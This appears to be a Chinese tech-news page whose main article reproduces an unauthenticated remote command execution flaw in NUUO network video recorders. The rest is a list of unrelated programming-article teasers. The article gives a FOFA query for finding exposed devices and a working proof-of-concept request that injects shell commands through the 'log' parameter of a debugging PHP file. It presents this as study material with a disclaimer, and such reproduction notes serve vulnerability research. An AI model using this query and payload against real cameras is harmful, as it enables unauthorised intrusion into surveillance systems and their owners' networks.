当前位置：首页 > news >正文

NUUO网络摄像头(NVR)RCE漏洞复现

news 2026/3/27 16:59:28

简介

NUUO Network Video Recorder（NVR）是中国台湾NUUO公司的一款网络视频记录器。

NUUO NVR视频存储管理设备的__debugging_center_utils___.php文件存在未授权远程命令执行漏洞，攻击者可在没有任何权限的情况下通过log参数执行任意命令。

漏洞复现

FOFA语法：

title="Network Video Recorder Login"

访问页面如下，不同版本会有区别

POC： /__debugging_center_utils___.php?log=;id

GET请求：http://ip:port/__debugging_center_utils___.php?log=;id

返回内容如下：

成功执行linux id命令

poc: /__debugging_center_utils___.php?log=;id;help

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

结语

没有人规定，一朵花一定要成长为向日葵或者玫瑰。

NUUO网络摄像头(NVR)RCE漏洞复现

简介 NUUO Network Video Recorder（NVR）是中国台湾NUUO公司的一款网络视频记录器。 NUUO NVR视频存储管理设备的__debugging_center_utils___.php文件存在未授权远程命令执行漏洞，攻击者可在没有任何权限的情况下通过log参数执行任意命令。…...

编程日记 2023/11/5 10:29:12

一款快速获取目标网站关键信息的工具

1.摘要今天要介绍的这款工具是一个快速收集网站信息的开源脚本, 采用Python语言编写, 该工具可以快速收集网站的页面标题、网站上次更新日期、DNS信息、子域、防火墙名称、网站使用的技术栈、证书等信息, 默认支持对验证码和JavaScript内容执行绕过操作。 2.工具安装使用使…...

编程日记 2023/11/5 10:28:10

将GC编程语言引入WebAssembly的新方法

本文讨论了一种名为 WasmGC 的新方法，用于将垃圾收集编程语言有效地引入 WebAssembly。 WasmGC 定义了新的 GC 类型，例如结构和数组，与之前编译为线性内存的方法 (WasmMVP) 相比，它们可以实现更好的优化： 在编译时和…...

编程日记 2023/11/5 10:27:09

微信小程序UI自动化测试实践：Minium+PageObject

小程序架构上分为渲染层和逻辑层，尽管各平台的运行环境十分相似，但是还是有些许的区别（如下图），比如说JavaScript 语法和 API 支持不一致，WXSS 渲染表现也有不同，所以不论是手工测试&#xff0c…...

编程日记 2023/11/5 10:25:06

Java零基础入门-输入与输出

哈喽，各位小伙伴们，你们好呀，我是喵手。今天我要给大家分享一些自己日常学习到的一些知识点，并以文字的形式跟大家一起交流，互相学习，一个人虽可以走的更快，但一群人可以走的更远。我是一名后…...

编程日记 2023/11/5 10:24:05

iOS报错命名空间“std”中的“unary_function”

刚刚将我的 Xcode 升级到 15.0，突然它开始在 RCT_Folly 中出现以下错误 No template named unary_function in namespace std; did you mean __unary_function?我尝试删除缓存数据和派生数据并清理构建。也尝试删除 pod 和 node_modules。但没有任何帮助。于是我…...

编程日记 2023/11/5 10:23:04

Flink SQL 窗口聚合详解

1.滚动窗⼝（TUMBLE） **滚动窗⼝定义：**滚动窗⼝将每个元素指定给指定窗⼝⼤⼩的窗⼝，滚动窗⼝具有固定⼤⼩，且不重叠。例如，指定⼀个⼤⼩为 5 分钟的滚动窗⼝，Flink 将每隔 5 分钟开启⼀个新…...

编程日记 2023/11/5 10:22:03

中间件redis的使用

Java中的中间件配置体现在springboot的yml配置文件中。Springboot框架支持微服务和中间件和restful api远程服务的调用。中间件是Java web系统的中间层的服务系统的调用接口。Springboot的自动装配和约定大于配置机制初始化springcontext的容器空间和注册组件。使用容器管理服务…...

编程日记 2023/11/5 10:20:01

Why delete[] array when deepcopying with “=“?

代码负责释放对象之前已经分配的资源，比如堆上的内存。在执行深拷贝之前，你需要确保对象不再引用之前的资源，以避免内存泄漏。通过删除先前的资源，你可以确保在进行深拷贝之前，已经释放了之前的资源，从而避…...

编程日记 2023/11/5 10:18:59

curl(六)DNS解析、认证、代理

一 DNS解析 ① ip协议使用ipv4 [-4] 还是ipv6 [-6] ② --resolve 场景： 在不修改系统配置文件 /etc/hosts 的情况下将单个请求临时固定到 ip 地址 1、使用 * 作为通配符,这样请求中调用的所有 Host 都会转到你指定的 ip curl https://www.wzj.com --resolv…...

编程日记 2023/11/5 10:16:57

（免费领源码）PHP#MySQL高校学生信息管理系统28099-计算机毕业设计项目选题推荐

摘要随着互联网趋势的到来，各行各业都在考虑利用互联网将自己推广出去，最好方式就是建立自己的互联网系统，并对其进行维护和管理。在现实运用中，应用软件的工作规则和开发步骤，采用php技术建设学生信息管理系统设计。…...

编程日记 2023/11/5 10:14:56

[动态规划] (四) LeetCode 91.解码方法

[动态规划] (四) LeetCode 91.解码方法 91. 解码方法题目解析 (1) 对字母A - Z进行编码1-26 (2)11106可以解码为1-1-10-6或者11-10-6, 但是11-1-06不能解码 (3) 0n不能解码 (4) 字符串非空，返回解码方法的总数解题思路状态表示 dp[i]：以i为结…...

编程日记 2023/11/5 10:13:55

Vue Vuex的使用和原理专门解决共享数据的问题

Vuex专门解决共享数据的问题多组件共享时使用，如用户ID各组件需要根据ID发送请求获取数据，任意组件可以进行增删改，相当于全局变量 Vuex 工作流程如果确定值参数可以不经过Actions 直接走安装Vuex vue2使用 vuex3 vue3使用 vuex4 npm i…...

编程日记 2023/11/5 10:12:53

1、安装Nerfstudio 环境配置首先需要创建环境python3.8，接着需要安装cuda11.7或11.3 这里安装cuda11.7 pip uninstall torch torchvision functorchpip install torch1.13.1 torchvision functorch --extra-index-url https://download.pytorch.org/whl/cu117安…...

编程日记 2023/11/5 10:11:52

STM32WB55开发(6)----FUS更新

STM32WB55开发.6--FUS更新概述视频教学硬件准备存储器映射FLASH安全区设置SRAM安全区设置通过USB进行下载注意事项概述在 STM32WB 微控制器中，FUS（Firmware Upgrade Services）是用于固件升级的一种服务。这项服务可以让你更新设备上的无…...

编程日记 2023/11/5 10:10:51

centos关闭Java进程的脚本

centos关闭Java进程的脚本，有时候服务就是个jar包，关闭程序又要找到进程ID，在kill掉，麻烦，这里就写了个脚本小白教程，一看就会，一做就成。 1.脚本如下 #!/bin/bash ps -ef | grep java | gre…...

编程日记 2023/11/5 10:09:49

深度学习网络模型 MobileNet系列MobileNet V1、MobileNet V2、MobileNet V3网络详解以及pytorch代码复现

深度学习网络模型 MobileNet系列MobileNet V1、MobileNet V2、MobileNet V3网络详解以及pytorch代码复现 1、DW卷积与普通卷积计算量对比DW与PW计算量普通卷积计算量计算量对比 2、MobileNet V1MobileNet V1网络结构MobileNet V1网络结构代码 3、MobileNet V2倒残差结构模块倒残…...

编程日记 2023/11/5 10:08:48

Spring 中 BeanFactory 和 FactoryBean 有何区别？

这也是 Spring 面试时一道经典的面试问题，今天我们来聊一聊这个话题。其实从名字上就能看出来个一二，BeanFactory 是 Factory 而 FactoryBean 是一个 Bean，我们先来看下总结： BeanFactory 是 Spring 框架的核心接口之一&#xf…...

编程日记 2023/11/5 10:07:47

黑马程序员项目-黑马点评

黑马点评1 短信登录基于Session实现登录流程发送验证码： 用户在提交手机号后，会校验手机号是否合法，如果不合法，则要求用户重新输入手机号如果手机号合法，后台此时生成对应的验证码，同时将验证码进行…...

编程日记 2023/11/5 10:06:46

ubuntu 20.04 + Anaconda + cuda-11.8 + opencv-4.8.0(cuda)

环境：一键编译opencv-4.8.0(cuda)，前提是已经安装好了cuda和cudnn Anaconda安装参考: https://blog.csdn.net/weixin_46947765/article/details/130980957 opencv4.8.0编译安装一键编译shell脚本 VERSION4.8.0test -e ${VERSION}.zip || wget http…...

编程日记 2023/11/5 10:05:44

Python实战：5分钟搞定小红书自动点赞脚本（附完整代码）

Python实战：5分钟实现小红书自动化互动工具开发指南在当今内容爆炸的时代，社交媒体运营已成为个人品牌和商业推广的重要阵地。小红书作为国内领先的生活方式分享平台，其互动数据直接影响内容曝光和账号权重。对于开发者而言，掌握…...

编程新知 2026/3/27 16:45:32

深入解析Shim在跨版本API兼容中的实战应用

1. 什么是Shim技术第一次听到"Shim"这个词是在调试一个Flink连接Hive的项目时。当时Hive版本从2.3升级到3.1，本以为要重写大量代码，结果同事说"加个Shim就行了"。这种"神奇胶水"般的技术让我印象深刻。 Shim本质上是一种…...

编程新知 2026/3/27 16:09:20

OpenClaw自动化测试：百川2-13B驱动的前端元素定位与交互验证

OpenClaw自动化测试：百川2-13B驱动的前端元素定位与交互验证 1. 从手工测试到智能测试的进化之路作为一名长期奋战在前端测试一线的开发者，我经历过从纯手工点击到Selenium脚本，再到Playwright框架的技术迭代。每次升级都带来效率提升&…...

编程新知 2026/3/27 16:05:17

保姆级教程：在Windows 11上用VSCode和Conda搞定Depth-Anything-3（含常见报错修复）

Windows 11深度估计实战：VSCodeConda环境下的Depth-Anything-3全流程指南深度估计作为计算机视觉领域的重要技术，正在自动驾驶、增强现实等场景中发挥关键作用。本文将带你在Windows 11系统上，使用VSCode和Conda搭建Depth-Anything-3开发环境…...

编程新知 2026/3/27 14:42:42